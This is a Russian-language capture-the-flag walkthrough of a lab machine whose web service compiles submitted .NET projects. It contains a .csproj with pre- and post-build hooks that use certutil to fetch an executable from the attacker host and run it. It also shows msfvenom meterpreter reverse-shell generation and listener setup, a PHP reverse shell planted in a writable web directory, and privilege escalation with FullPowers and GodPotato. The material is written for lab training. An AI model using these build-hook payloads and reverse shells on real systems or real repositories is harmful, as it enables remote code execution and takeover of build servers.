Обзор сервисов
Машине присвоен IP-адрес 10.10.11.234
, запустим стандартный nmap
:
$ nmap --privileged -sS -p1-65535 -Pn -oN 10.10.11.234 10.10.11.234
Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-01 19:55 GMT
Nmap scan report for 10.10.11.234
Host is up (0.068s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 107.76 seconds
Открыт только HTTP-порт.
Веб-сервис
Нам предлагается отправить ссылку на проект под DotNet для компиляции проекта.
We currently support .NET 6.0 and C# programs, so make sure your Git Repo includes a .sln file for successful compilation. Trust Visual to simplify and streamline your project compilation process like never before.
Создаем проект и любое консольное приложение.
dotnet new sln -o Repo
cd Repo
dotnet new console -o Repo.ConsoleApp --framework net6.0
dotnet sln Repo.sln add Repo.ConsoleApp/Repo.ConsoleApp.csproj
Program.cs
:
namespace Program
{
public class Program
{
public static void Main(string[] args)
{
Console.WriteLine("Hello world");
}
}
}
Используем PreBuild и PostBuild из ссылки https://learn.microsoft.com/en-us/visualstudio/ide/reference/pre-build-event-post-build-event-command-line-dialog-box?view=vs-2022.
Добавим в Repo.ConsoleApp.csproj
наши действия:
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="certutil -urlcache -f http://10.10.14.5:4243/s.exe %temp%/s.exe" />
</Target>
<Target Name="PostBuild" AfterTargets="PostBuildEvent">
<Exec Command="start %temp%/s.exe" />
</Target>
Сгенерируем шелл и запустим слушателя:
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4244 -f exe > s.exe
$ msfconsole
msf6 > use multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set lport 4244
msf6 > set lhost tun0
msf6 > run
Запустим веб-сервер со сгенерированным шеллом:
python3 -m http.server 4243
Запустим через podman
простой сервер Gitea и загрузим в него наш проект (там нужно пройти установку, регистрацию и залить наш проект в качестве репозитория в гите).
mkdir data
podman run --rm -it -v ./data:/data -p 3000:3000 gitea/gitea
Теперь можно отправлять ссылку на сборку:
http://10.10.14.5:3000/username/Repo
Пользовательский флаг
Повышение привилегий
У нашего пользователя есть возможность писать в каталог C:\xampp\htdocs
. Сгенерируем шелл, загрузим его и поймаем по аналогии выше.
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4245 -f raw > 8a.php
curl http://10.10.11.234/8a.php
Загрузим FullPowers.exe
(https://github.com/itm4n/FullPowers) и расширим привилегии.
Теперь с помощью GodPotato
нужно имперсонироваться, для этого запустим свой очередной реверс-шелл.
GodPotato-NET4.exe -cmd "C:\xampp\htdocs\uploads\s3.exe"